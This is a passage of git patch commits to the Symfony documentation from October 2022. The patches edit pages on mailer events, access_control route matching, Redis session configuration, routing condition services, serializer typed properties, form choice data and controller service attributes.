+    use Symfony\Component\Mime\Email;
+
+    public function onMessage(QueuingMessageEvent $event): void
+    {
+        $message = $event->getMessage();
+        if (!$message instanceof Email) {
+            return;
+        }
+        // do something with the message (logging, ...)
+
+        // and/or add some Messenger stamps
+        $event->addStamp(new SomeMessengerStamp());
+    }
+
+This event lets listeners do something before a message is sent to the queue
+(like adding stamps or logging) but any changes to the message or the envelope
+are discarded. To change the message or the envelope, listen to
+``MessageEvent`` instead.
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\QueuingMessageEvent"
+
 SentMessageEvent
 ~~~~~~~~~~~~~~~~
 

From 0b08f8193e51c4cbdd367da98f0cf0d35e5d9274 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 23 Oct 2022 10:15:22 +0200
Subject: [PATCH 3821/7107] Allow specifying attributes for `RequestMatcher`

---
 security/access_control.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/security/access_control.rst b/security/access_control.rst
index e658e2c844e..6b2d53cd848 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -30,11 +30,17 @@ options are used for matching:
 * ``host``: a regular expression
 * ``methods``: one or many HTTP methods
 * ``request_matcher``: a service implementing ``RequestMatcherInterface``
+* ``attributes``: an array, which can be used to specify one or more :ref:`request attributes <accessing-request-data>` that must match exactly
+* ``route``: a route name
 
 .. versionadded:: 6.1
 
     The ``request_matcher`` option was introduced in Symfony 6.1.
 
+.. versionadded:: 6.2
+
+    The ``route`` and ``attributes`` options were introduced in Symfony 6.2.
+
 Take the following ``access_control`` entries as an example:
 
 .. configuration-block::
@@ -60,6 +66,10 @@ Take the following ``access_control`` entries as an example:
                 # for custom matching needs, use a request matcher service
                 - { roles: ROLE_USER, request_matcher: App\Security\RequestMatcher\MyRequestMatcher }
 
+                # require ROLE_ADMIN for 'admin' route. You can use the shortcut "route: "xxx", instead of "attributes": ["_route": "xxx"]
+                - { attributes: {'_route': 'admin'}, roles: ROLE_ADMIN }
+                - { route: 'admin', roles: ROLE_ADMIN }
+
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
@@ -93,6 +103,12 @@ Take the following ``access_control`` entries as an example:
 
                 <!-- for custom matching needs, use a request matcher service -->
                 <rule role="ROLE_USER" request-matcher="App\Security\RequestMatcher\MyRequestMatcher"/>
+
+                <!-- require ROLE_ADMIN for 'admin' route. You can use the shortcut route="xxx" -->
+                <rule role="ROLE_ADMIN">
+                    <attribute key="_route">admin</attribute>
+                </rule>
+                <rule route="admin" role="ROLE_ADMIN"/>
             </config>
         </srv:container>
 
@@ -144,6 +160,17 @@ Take the following ``access_control`` entries as an example:
                 ->roles(['ROLE_USER'])
                 ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher')
             ;
+
+            // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') mehtod,
+            // instead of attributes(['_route' => 'xxx']) method
+            $security->accessControl()
+                ->roles(['ROLE_ADMIN'])
+                ->attributes(['_route' => 'admin'])
+            ;
+            $security->accessControl()
+                ->roles(['ROLE_ADMIN'])
+                ->route('admin')
+            ;
         };
 
 For each incoming request, Symfony will decide which ``access_control``

From f570459d4da09f050d78c884b651ce1c271a4da0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Oct 2022 17:42:15 +0200
Subject: [PATCH 3822/7107] Fix a minor syntax issue

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index caefe93ac19..c6100b0fd62 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1466,7 +1466,7 @@ Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 
         .. code-block:: xml
 
-            # config/packages/doctrine.xml
+            <!-- config/packages/doctrine.xml -->
             <doctrine:dbal schema-filter="~^(?!messenger_messages)~"/>
 
         .. code-block:: php

From b29c212dfc233a2f7bf743462a20cea7a4991626 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Tue, 25 Oct 2022 17:42:28 +0200
Subject: [PATCH 3823/7107] [Session] Add docs to define redis session handler
 via php.ini directly

---
 session/database.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/session/database.rst b/session/database.rst
index cacc56b18fa..0637759dfb0 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -17,6 +17,17 @@ Store Sessions in a key-value Database (Redis)
 This section assumes that you have a fully-working Redis server and have also
 installed and configured the `phpredis extension`_.
 
+Via the redis extension it is possible to configure redis as a session handler
+directly in the servers ``php.ini`` file.
+
+.. code-block:: ini
+
+    ; php.ini
+    session.save_handler = redis
+    session.save_path = "tcp://192.168.0.178:6379?auth=REDIS_PASSWORD"
+
+Alternative you can configure it in the Symfony application.
+
 First, define a Symfony service for the connection to the Redis server:
 
 .. configuration-block::

From 2c5916880172e5e7069cca1e2fad6265ecda1d75 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 09:09:45 +0200
Subject: [PATCH 3824/7107] Reword

---
 session/database.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index 0637759dfb0..2100e4ceb77 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -17,8 +17,10 @@ Store Sessions in a key-value Database (Redis)
 This section assumes that you have a fully-working Redis server and have also
 installed and configured the `phpredis extension`_.
 
-Via the redis extension it is possible to configure redis as a session handler
-directly in the servers ``php.ini`` file.
+You have two different options to use Redis to store sessions:
+
+(1) The first PHP-based option is to configure Redis session handler directly in
+the server ``php.ini`` file:
 
 .. code-block:: ini
 
@@ -26,7 +28,7 @@ directly in the servers ``php.ini`` file.
     session.save_handler = redis
     session.save_path = "tcp://192.168.0.178:6379?auth=REDIS_PASSWORD"
 
-Alternative you can configure it in the Symfony application.
+(2) The second Symfony-based option is to configure Redis sessions as follows.
 
 First, define a Symfony service for the connection to the Redis server:
 

From b688f71a125ddfae5ecd81bf973046c6dc6dca5d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 09:35:02 +0200
Subject: [PATCH 3825/7107] Minor reword

---
 cache.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/cache.rst b/cache.rst
index 896738be099..d7990c0d88b 100644
--- a/cache.rst
+++ b/cache.rst
@@ -103,8 +103,8 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
 
 .. tip::
 
-    While it is possible to reconfigure the system cache, it is not recommended, because
-    the default is really the best possible configuration.
+    While it is possible to reconfigure the ``system`` cache, it's recommended
+    to keep the default configuration applied to it by Symfony.
 
 The Cache component comes with a series of adapters pre-configured:
 

From 4e72ef3e5eb009e090a5f0e107996398b0fa3043 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 19 Aug 2022 18:20:21 +0200
Subject: [PATCH 3826/7107] [Routing] Adding full example for a Service in
 Route Condition

---
 routing.rst | 22 +++++++++++++++++++++-
 1 file changed, 21 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 0883f671284..c187b42bb06 100644
--- a/routing.rst
+++ b/routing.rst
@@ -379,7 +379,27 @@ You can also use these functions:
 ``service(string $alias)``
     Returns a routing condition service.
     You'll have to add the ``#[AsRoutingConditionService]`` attribute or ``routing.condition_service``
-    tag to your service if you want to use it in the condition.
+    tag to your service if you want to use it in the condition::
+    
+    
+        // Controller (using an alias):
+        #[Route(condition: "service('route_checker').check(request)")]
+        // Or without alias:
+        #[Route(condition: "service('Ap\\\Service\\\RouteChecker').check(request)")]
+    
+    .. code-block:: php
+
+        use Symfony\Bundle\FrameworkBundle\Routing\Attribute\AsRoutingConditionService;
+        use Symfony\Component\HttpFoundation\Request;
+
+        #[AsRoutingConditionService(alias: 'route_checker')]
+        class RouteChecker
+        {
+            public function check(Request $request): bool
+            {
+                // ...
+            }
+        }
 
 .. versionadded:: 6.1
 

From 8c3cb808c6cf995e9283258907a5ccfd7a73110a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 10:03:00 +0200
Subject: [PATCH 3827/7107] Minor reword

---
 routing.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/routing.rst b/routing.rst
index 999f204af02..4690bcd0e7e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -378,16 +378,9 @@ You can also use these functions:
 
 ``service(string $alias)``
     Returns a routing condition service.
-    You'll have to add the ``#[AsRoutingConditionService]`` attribute or ``routing.condition_service``
-    tag to your service if you want to use it in the condition::
-    
-    
-        // Controller (using an alias):
-        #[Route(condition: "service('route_checker').check(request)")]
-        // Or without alias:
-        #[Route(condition: "service('Ap\\\Service\\\RouteChecker').check(request)")]
-    
-    .. code-block:: php
+
+    First, add the ``#[AsRoutingConditionService]`` attribute or ``routing.condition_service``
+    tag to the services that you want to use in route conditions::
 
         use Symfony\Bundle\FrameworkBundle\Routing\Attribute\AsRoutingConditionService;
         use Symfony\Component\HttpFoundation\Request;
@@ -401,6 +394,13 @@ You can also use these functions:
             }
         }
 
+    Then, use the ``service()`` function to refer to that service inside conditions::
+
+        // Controller (using an alias):
+        #[Route(condition: "service('route_checker').check(request)")]
+        // Or without alias:
+        #[Route(condition: "service('Ap\\\Service\\\RouteChecker').check(request)")]
+
 .. versionadded:: 6.1
 
     The ``service(string $alias)`` function and ``#[AsRoutingConditionService]``

From 95b8fea91a5ebfb2c006c305b5c6e3406c043dd0 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Tue, 25 Oct 2022 07:10:42 -0400
Subject: [PATCH 3828/7107] [DependencyInjection] Show how to get $myService

---
 service_container/service_subscribers_locators.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index eadecea3fd2..d10c71f4867 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -467,6 +467,8 @@ will share identical locators among all the services referencing them::
             // ...
             'logger' => new Reference('logger'),
         ];
+        
+        $myService = $container->findDefinition(MyService::class);
 
         $myService->addArgument(ServiceLocatorTagPass::register($container, $locateableServices));
     }

From ebda0298b8c858c74e09deb1963d20921eb8ff3b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 11:17:28 +0200
Subject: [PATCH 3829/7107] Tweaks

---
 doctrine/custom_dql_functions.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index f970512e1bc..39ded025967 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -148,6 +148,8 @@ In Symfony, you can register your custom DQL functions as follows:
 
 .. caution::
 
-    It is not possible to inject Symfony services or parameters into a custom DQL function.
+    DQL functions are instantiated by Doctrine outside of the Symfony
+    :doc:`service container </service_container>` so you can't inject services
+    or parameters into a custom DQL function.
 
 .. _`DQL User Defined Functions`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/cookbook/dql-user-defined-functions.html

From c1ab456abfbce08e78825ae252d970ed7d239c69 Mon Sep 17 00:00:00 2001
From: Guillaume Loulier <guillaume.loulier@hotmail.fr>
Date: Wed, 23 Mar 2022 16:13:51 +0100
Subject: [PATCH 3830/7107] refactor(reference): document kernel.locale_aware

---
 reference/dic_tags.rst | 71 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 71 insertions(+)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 28d11c3c392..942b7fc7134 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -453,6 +453,77 @@ To add a new rendering strategy - in addition to the core strategies like
 :class:`Symfony\\Component\\HttpKernel\\Fragment\\FragmentRendererInterface`,
 register it as a service, then tag it with ``kernel.fragment_renderer``.
 
+kernel.locale_aware
+-------------------
+
+.. versionadded:: 4.3
+
+    The ``kernel.locale_aware`` tag was introduced in Symfony 4.3.
+
+**Purpose**: To access and use the current :doc:`locale </translation/locale>`
+
+Setting and retrieving the locale can be done via configuration or using
+container parameters, listeners, route parameters or the current request.
+
+Thanks to the ``Translation`` contract, the locale can be set via services.
+
+To register your own locale aware service, first create a service that implements
+the :class:`Symfony\\Contracts\\Translation\\LocaleAwareInterface` interface::
+
+    // src/Locale/MyCustomLocaleHandler.php
+    namespace App\Locale;
+
+    use Symfony\Contracts\Translation\LocaleAwareInterface;
+
+    class MyCustomLocaleHandler implements LocaleAwareInterface
+    {
+        public function setLocale($locale)
+        {
+            $this->locale = $locale;
+        }
+
+        public function getLocale()
+        {
+            return $this->locale;
+        }
+    }
+
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+your service will be automatically tagged with ``kernel.locale_aware``. But, you
+can also register it manually:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        services:
+            App\Locale\MyCustomLocaleHandler:
+                tags: [kernel.locale_aware]
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Locale\MyCustomLocaleHandler">
+                    <tag name="kernel.locale_aware"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use App\Locale\MyCustomLocaleHandler;
+
+        $container
+            ->register(LocaleHandler::class)
+            ->addTag('kernel.locale_aware')
+        ;
+
 kernel.reset
 ------------
 

From e569eb9dc0f6392bfa360d4c4350ab5c48918c1e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 12:26:50 +0200
Subject: [PATCH 3831/7107] Remove a versionadded directive

---
 reference/dic_tags.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index c36de4397e3..e163756835e 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -642,10 +642,6 @@ register it as a service, then tag it with ``kernel.fragment_renderer``.
 kernel.locale_aware
 -------------------
 
-.. versionadded:: 4.3
-
-    The ``kernel.locale_aware`` tag was introduced in Symfony 4.3.
-
 **Purpose**: To access and use the current :doc:`locale </translation/locale>`
 
 Setting and retrieving the locale can be done via configuration or using

From f6f0755a14a04b7a2759b0342e7e72a2f509f709 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 13:35:34 +0200
Subject: [PATCH 3832/7107] Minor tweaks

---
 components/serializer.rst | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5466b543f47..ce6738fa1d8 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1273,17 +1273,19 @@ to ``true``::
     $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
     // ['bar' => 'notNull']
 
-Skipping uninitialized properties
+Skipping Uninitialized Properties
 ---------------------------------
 
-PHP 7.4 introduced typed properties, which have a new state - ``uninitialized``.
-This is different from the default ``null`` of untyped properties.
-When you try to access it before giving it an explicit value - you get an error.
+In PHP, typed properties have an ``uninitialized`` state which is different
+from the default ``null`` of untyped properties. When you try to access a typed
+property before giving it an explicit value, you get an error.
 
-By default, to avoid the Serializer throwing an error when serializing or normalizing an object with
-uninitialized properties, object normalizer catches these errors and ignores such properties.
+To avoid the Serializer throwing an error when serializing or normalizing an
+object with uninitialized properties, by default the object normalizer catches
+these errors and ignores such properties.
 
-You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to ``false``::
+You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES``
+context option to ``false``::
 
     class Dummy {
         public string $foo = 'initialized';
@@ -1296,11 +1298,15 @@ You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UN
 
 .. note::
 
-    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize`` with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set to ``false`` will throw an ``\Error`` instance if the given object has uninitialized properties as the normalizer cannot read them (directly or via getter/isser methods).
+    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize``
+    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set
+    to ``false`` will throw an ``\Error`` instance if the given object has uninitialized
+    properties as the normalizer cannot read them (directly or via getter/isser methods).
 
 .. versionadded:: 5.4
 
-    The ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` constant was introduced in Symfony 5.4.
+    The ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` constant was
+    introduced in Symfony 5.4.
 
 .. _component-serializer-handling-circular-references:
 

From d7c786b202df0e03f4c22a3c0bbeff7aa45c733f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 13:37:02 +0200
Subject: [PATCH 3833/7107] Remove the versionadded directive

---
 components/serializer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 4bc1491f959..cb24c7bf5d7 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1223,11 +1223,6 @@ context option to ``false``::
     to ``false`` will throw an ``\Error`` instance if the given object has uninitialized
     properties as the normalizer cannot read them (directly or via getter/isser methods).
 
-.. versionadded:: 5.4
-
-    The ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` constant was
-    introduced in Symfony 5.4.
-
 .. _component-serializer-handling-circular-references:
 
 Collecting Type Errors While Denormalizing

From ab59ab8fdf6270d9443c2562fbf1748a9d815afc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 15:22:54 +0200
Subject: [PATCH 3834/7107] Minor tweaks

---
 routing.rst                     | 14 ++++++++------
 routing/custom_route_loader.rst | 13 ++++++++-----
 2 files changed, 16 insertions(+), 11 deletions(-)

diff --git a/routing.rst b/routing.rst
index 51eb16ae432..8a8ea5b2dc5 100644
--- a/routing.rst
+++ b/routing.rst
@@ -36,18 +36,20 @@ Otherwise, create the following file manually:
 
     # config/routes/attributes.yaml
     controllers:
-        resource: ../../src/Controller/
-        type: attribute@App\Controller
+        resource:
+            path: ../../src/Controller/
+            namespace: App\Controller
+        type: attribute
 
     kernel:
         resource: App\Kernel
         type: attribute
 
 This configuration tells Symfony to look for routes defined as attributes on
-classes declared in the ``App\Controller`` namespace which are stored in the
-``src/Controller/`` directory which follows the PSR-4 standard. In addition,
-our kernel can act as a controller as well which is especially useful for small
-applications that use Symfony as a microframework.
+classes declared in the ``App\Controller`` namespace and stored in the
+``src/Controller/`` directory which follows the PSR-4 standard. The kernel can
+act as a controller too, which is especially useful for small applications that
+use Symfony as a microframework.
 
 .. versionadded:: 6.2
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 12538a78311..5aa90a8712d 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -26,8 +26,10 @@ Symfony provides several route loaders for the most common needs:
 
         app_psr4:
             # loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root
-            resource: '../src/Controller/'
-            type:     attribute@App\Controller
+            resource:
+                path: '../src/Controller/'
+                namespace: App\Controller
+            type: attribute
 
         app_attributes:
             # loads routes from the PHP attributes of the controllers found in that directory
@@ -62,7 +64,9 @@ Symfony provides several route loaders for the most common needs:
             <import resource="@AcmeBundle/Resources/config/routing.yaml"/>
 
             <!-- loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root -->
-            <import resource="../src/Controller/" type="attribute@App\Controller"/>
+            <import type="attribute">
+                <resource path="../src/Controller/" namespace="App\Controller" />
+            </import>
 
             <!-- loads routes from the PHP attributes of the controllers found in that directory -->
             <import resource="../src/Controller/" type="attribute"/>
@@ -111,8 +115,7 @@ Symfony provides several route loaders for the most common needs:
 
 .. versionadded:: 6.2
 
-    The possibility to suffix the ``attribute`` resource type with a PSR-4
-    namespace root was introduced in Symfony 6.2.
+    The feature to import routes from a PSR-4 namespace root was introduced in Symfony 6.2.
 
 .. note::
 

From e792002580c6733c43f1d07f8d7198a05e01cae1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 15:23:28 +0200
Subject: [PATCH 3835/7107] More tweaks

---
 routing.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 8a8ea5b2dc5..cdd894e4ae5 100644
--- a/routing.rst
+++ b/routing.rst
@@ -53,8 +53,7 @@ use Symfony as a microframework.
 
 .. versionadded:: 6.2
 
-    The possibility to suffix the ``attribute`` resource type with a PSR-4
-    namespace root was introduced in Symfony 6.2.
+    The feature to import routes from a PSR-4 namespace root was introduced in Symfony 6.2.
 
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following:

From 8a05949f6d286e5ea12ffac64109d27011f7d8f5 Mon Sep 17 00:00:00 2001
From: Gauthier Gilles <gilles.gauthier31@gmail.com>
Date: Fri, 21 Oct 2022 11:05:04 +0200
Subject: [PATCH 3836/7107] [Form][Form Choice] customize choice entry

---
 reference/forms/types/choice.rst | 39 ++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 398e4020abe..3982e20efdf 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -323,3 +323,42 @@ Field Variables
 
     It's significantly faster to use the :ref:`selectedchoice <form-twig-selectedchoice>`
     test instead when using Twig.
+
+
+Access data in a Form Choice
+.............................
+
+When you use an expanded ``ChoiceType`` and need to customize the children ``entry`` blocks,
+the ``form.vars`` of entries (radio button or checkbox) may not be enough since each holds a
+boolean value meaning whether a choice is selected or not.
+To get the full list of choices data and values, you will need to access the ``choices`` variable
+from their parent form (the ``ChoiceType`` itself) with ``form.parent.vars.choices``::
+
+Given the advanced object example, each entry would have access to the following variables:
+
+.. code-block:: html+twig
+
+    {# `true` or `false`, whether the current choice is selected as radio or checkbox #}
+    {{ form.vars.data }}
+
+    {# the current choice value (i.e a category name when `'choice_value' => 'name'` #}
+    {{ form.vars.value }}
+
+    {# a map of `ChoiceView` or `ChoiceGroupView` instances indexed by choice values or group names #}
+    {{ form.parent.vars.choices }}
+
+So the Category's entity is inside ``form.parent.vars.choices[key].data``, because the parent knows all the choices.
+
+.. code-block:: html+twig
+
+    {% block _form_categories_entry_widget %}
+        {% set entity = form.parent.vars.choices[form.vars.value].data %}
+
+        <tr>
+            <td>{{ form_widget(form) }}</td>
+            <td>{{ form.vars.label }}</td>
+            <td>
+                {{ entity.name }} | {{ entity.group }}
+            </td>
+        </tr>
+    {% endblock %}

From bb06b33d2f344ede13616821449c5bc4232eb5f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 16:31:55 +0200
Subject: [PATCH 3837/7107] Reword

---
 reference/forms/types/choice.rst | 23 ++++++++++-------------
 1 file changed, 10 insertions(+), 13 deletions(-)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 3982e20efdf..7b003585d12 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -321,20 +321,16 @@ Field Variables
 
 .. tip::
 
-    It's significantly faster to use the :ref:`selectedchoice <form-twig-selectedchoice>`
-    test instead when using Twig.
+    In Twig template, instead of using ``is_selected()``, it's significantly
+    faster to use the :ref:`selectedchoice <form-twig-selectedchoice>` test.
 
+Accessing Form Choice Data
+...........................
 
-Access data in a Form Choice
-.............................
-
-When you use an expanded ``ChoiceType`` and need to customize the children ``entry`` blocks,
-the ``form.vars`` of entries (radio button or checkbox) may not be enough since each holds a
-boolean value meaning whether a choice is selected or not.
-To get the full list of choices data and values, you will need to access the ``choices`` variable
-from their parent form (the ``ChoiceType`` itself) with ``form.parent.vars.choices``::
-
-Given the advanced object example, each entry would have access to the following variables:
+The ``form.vars`` variable of each choice entry holds data such as whether the
+choice is selected or not. If you need to get the full list of choices data and
+values, use the ``choices`` variable from the parent form of the choice entry
+(which is the ``ChoiceType`` itself) with ``form.parent.vars.choices``::
 
 .. code-block:: html+twig
 
@@ -347,7 +343,8 @@ Given the advanced object example, each entry would have access to the following
     {# a map of `ChoiceView` or `ChoiceGroupView` instances indexed by choice values or group names #}
     {{ form.parent.vars.choices }}
 
-So the Category's entity is inside ``form.parent.vars.choices[key].data``, because the parent knows all the choices.
+Following the same advanced example as above (where choices values are entities),
+the ``Category`` object is inside ``form.parent.vars.choices[key].data``::
 
 .. code-block:: html+twig
 

From fd73939ff08941d31010593c393e430da1443213 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 14 Jun 2022 14:11:02 +0200
Subject: [PATCH 3838/7107] Update serializer.rst

---
 components/serializer.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 7b5c7af5ca0..c2d08afc900 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -74,20 +74,20 @@ exists in your project::
 
     class Person
     {
-        private $age;
-        private $name;
-        private $sportsperson;
-        private $createdAt;
+        private int $age;
+        private string $name;
+        private bool $sportsperson;
+        private ?\DateTime $createdAt;
 
         // Getters
-        public function getName()
+        public function getAge(): int
         {
-            return $this->name;
+            return $this->age;
         }
 
-        public function getAge()
+        public function getName(): string
         {
-            return $this->age;
+            return $this->name;
         }
 
         public function getCreatedAt()
@@ -96,28 +96,28 @@ exists in your project::
         }
 
         // Issers
-        public function isSportsperson()
+        public function isSportsperson(): bool
         {
             return $this->sportsperson;
         }
 
         // Setters
-        public function setName($name)
+        public function setName(string $name): void
         {
             $this->name = $name;
         }
 
-        public function setAge($age)
+        public function setAge(int $age): void
         {
             $this->age = $age;
         }
 
-        public function setSportsperson($sportsperson)
+        public function setSportsperson(bool $sportsperson): void
         {
             $this->sportsperson = $sportsperson;
         }
 
-        public function setCreatedAt($createdAt)
+        public function setCreatedAt(\DateTime $createdAt = null): void
         {
             $this->createdAt = $createdAt;
         }

From 354c5840f0ac8ffab7c8523fa4bdf744be584248 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 17:12:30 +0200
Subject: [PATCH 3839/7107] Minor tweak

---
 components/serializer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c2d08afc900..6aae1c72049 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -102,14 +102,14 @@ exists in your project::
         }
 
         // Setters
-        public function setName(string $name): void
+        public function setAge(int $age): void
         {
-            $this->name = $name;
+            $this->age = $age;
         }
 
-        public function setAge(int $age): void
+        public function setName(string $name): void
         {
-            $this->age = $age;
+            $this->name = $name;
         }
 
         public function setSportsperson(bool $sportsperson): void

From 160d849dda16766bab217072aa091f03be0e26d9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 17:21:43 +0200
Subject: [PATCH 3840/7107] Tweak

---
 controller/service.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index f1fb3e6258b..724143e3046 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -28,13 +28,8 @@ in method parameters:
            resource: '../src/Controller/'
            tags: ['controller.service_arguments']
 
-.. versionadded:: 5.3
-
-    The ``#[AsController]`` attribute was introduced in Symfony 5.3.
-
-If you are using PHP 8.0 or later, you can use the ``#[AsController]`` PHP
-attribute to automatically apply the ``controller.service_arguments`` tag to
-your controller services::
+If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically
+apply the ``controller.service_arguments`` tag to your controller services::
 
     // src/Controller/HelloController.php
     namespace App\Controller;
@@ -52,6 +47,10 @@ your controller services::
         }
     }
 
+.. versionadded:: 5.3
+
+    The ``#[AsController]`` attribute was introduced in Symfony 5.3.
+
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
 knows to use it.

From ceeeecf3488c4c6487ddaf4d90c19c783ea2ad5d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 17:22:33 +0200
Subject: [PATCH 3841/7107] Remove the versionadded directive

---
 controller/service.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index cef74aafbe1..146aae5b7f2 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -47,10 +47,6 @@ apply the ``controller.service_arguments`` tag to your controller services::
         }
     }
 
-.. versionadded:: 5.3
-
